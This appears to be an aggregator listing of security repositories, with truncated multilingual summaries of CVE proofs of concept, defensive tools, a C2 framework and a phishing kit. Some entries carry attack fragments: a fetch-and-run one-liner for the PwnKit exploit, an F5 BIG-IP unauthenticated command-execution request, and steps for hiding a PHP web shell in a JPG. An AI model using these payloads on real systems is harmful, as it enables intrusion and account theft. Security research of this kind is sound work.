MacDirtyCow

MacDirtyCow Example of CVE-2022-46689 aka MacDirtyCow. What? MacDirtyCow is a privilege escalation vulnerability in macOS, similar to the Dirty COW vulnerability in Linux. The vulnerability resides in the copy-on-write COW mechanism used by macOS's XNU kernel. The vulnerability allows an attacker...

heffalump

Heffalump Heffalump 是一个无限蜜罐，能让恶意机器人噩梦连连。使用方法：在 robots.txt 中告知机器人不要访问某个特定 URL，而 Heffalump 正是以反向代理方式监听该 URL。任何访问该 URL 的网络代理都会收到无限随机数据流，如果没有设置最大缓冲区大小，将会溢出其内存和/或存储空间，或者至少严重浪费其时间。 蜜罐数据来源是 《Once On a Time》，这是 A. A. Milne 最受欢迎且已进入公有领域的作品之一。 在线示例：不要点击此链接。它将填满你的浏览器内存，很可能导致崩溃。 安装 首先安装 Go。...

CVE-2025-29927

CVE-2025-29927: The Next.js Middleware Nightmare This repository is provided strictly for educational purposes only. I did not discover this vulnerability - this is a demonstration and explanation of a publicly disclosed security issue. Using this knowledge to exploit vulnerable systems without...

suricata_exporter v0.6.0

Suricata Prometheus Exporter This is a Prometheus Exporter for Suricata using dump-counters via the unix socket to query metrics. Usage root@kitploit: $ ./suricataexporter -h Usage of ./suricataexporter: -suricata.socket-path string Path to the Suricata Command socket. default...

nginx-ultimate-bad-bot-blocker

REPO| BECOME A SPONSOR ---|--- | Your logo and link to your domain will appear here if you become a sponsor. Simply email me on [email protected] if you would like to sponsor this project as South Africa is not supported yet under the Github sponsor program. | Help Support Me at...

CVE-2020-5260

CVE-2020-5260 CVE-2020-5260 Demonstration Record When git executes a command like "git clone https://example.com", it requests the protocol "https" to store credentials for the host "example.com", and when the remote side requests authentication, it appends the returned credentials to the outgoin...

CVE-2020-14750

CVE-2020-14750 PoC for vulnerabilities CVE-2020-14750 and cve-2020-14882 To test if a system is vulnerable use: ./test-CVE-2020-14750 hostname:7001 At the moment, in this version, it only guarantees if the host is vulnerable. If the result is negative, it is not a guarantee that it is not...

kalitorify

Transparent Proxy through Tor for Kali Linux About kalitorify kalitorify is a shell script for Kali Linux which use iptables settings to create a Transparent Proxy through the Tor Network , the program also allows you to perform various checks like checking the Tor Exit Node i.e. your public IP...

PwnKit

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...

apkleaks

APKLeaks Scanning APK file for URIs, endpoints & secrets. Installation from Pypi from Source from Docker Usage Options Output Pattern Arguments for disassembler License Acknowledments Installation It's fairly simple to install APKLeaks : from PyPi root@kitploit: $ pip3 install apkleaks from Sourc...

CVE-2024-37085

CVE-2024-37085 subida de shell no autenticada que otorga administrador completo en hipervisores esxi unidos a dominio. Descargar ESXIVORTEX Detalles: una omisión de autenticación que conduce a la subida de una shell en el contexto de vpxuser, otorgando permisos administrativos completos en...

warcannon

WARCannon - Catastrophically powerful parallel WARC processing WARCannon was built to simplify and cheapify the process of 'grepping the internet'. With WARCannon, you can: Build and test regex patterns against real Common Crawl data Easily load Common Crawl datasets for parallel processing Scale...

Project-CVE-2026-33017

سكربت CVE-2026-33017 Langflow — شرح الكود برمجة: Xer0TLabs x Persephrak Decentralized Syndicate الغرض من هذا المستند هذا المستند هو شرح عالي المستوى لبرنامج Python المقدم لأغراض المراجعة، والاستجابة للحوادث، والتحليل الدفاعي. وهو لا يتضمن عمدًا تعليمات التشغيل، أو إرشادات اختيار الأهداف، أو أمثلة...

frameless-bitb

Frameless BITB A new approach to Browser In The Browser BITB without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft. This POC code is built for using this new BITB with Evilginx, and a Microsoft Enterprise phishlet. Before diving deep...

frameless-bitb

Frameless BITB 一种无需使用 iframe 的浏览器内浏览器（BITB）新方法，能够绕过像 Microsoft 这类登录页面实施的传统框架破坏程序。 此 POC 代码用于将此新型 BITB 与 Evilginx 及 Microsoft Enterprise 钓鱼模板配合使用。 在深入探讨之前，我建议你先观看我在 BSides 2023 上的演讲，我在那里首次介绍了这一概念，以及如何策划“完美”钓鱼攻击的重要细节。▶ 观看视频 ☕︎ 请我喝杯咖啡 视频教程： 👇 免责声明 此工具仅用于教育和研究目的。它展示了一种基于非 iframe...

link

link link is a command and control framework written in rust. Currently in beta. Table of Contents Introduction Features Feedback Build Process Acknowledgments Introduction...

kernel: netfilter: nf_tables: don't skip expired elements during walk

In the Linux kernel, the following vulnerability has been resolved: netfilter: nftables: don't skip expired elements during walk There is an asymmetry between commit/abort and preparation phase if the following conditions are met: 1. set is a verdict map "1.2.3.4 : jump foo" 2. timeouts are enabl...

CVE-2022-1388_PoC

Explotación de RCE en F5 BIG-IP CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " Línea de comandos curl: root@kitploit: $ curl -i...

Inject-PHP-to-JPG-Using-Jhead

Inject-PHP-to-JPG-Using-Jhead $ pkg install vim or apt-get install vim $ pkg install jhead or apt-get install jhead $ jhead -h for help $ jhead -purejpg yourfiles.jpg $ jhead -ce yourfiles.jpg Click ESC typed :x to save $ jhead yourfiles.jpg Example : site.com/youfiles.php?cmd=Command Here...

CVE-2019-2725

CVE-2019-2725 CVE-2019-2725 CNVD-C-2019-48814, WebLogic wls9-async Command Echo 10.3.6 12.1.3 ResultBaseExec.java Used for testing defineClass. It will recover the malicious class from base64 and execute the code, mainly for convenience optional. JDK7u21.java Generates the XML in...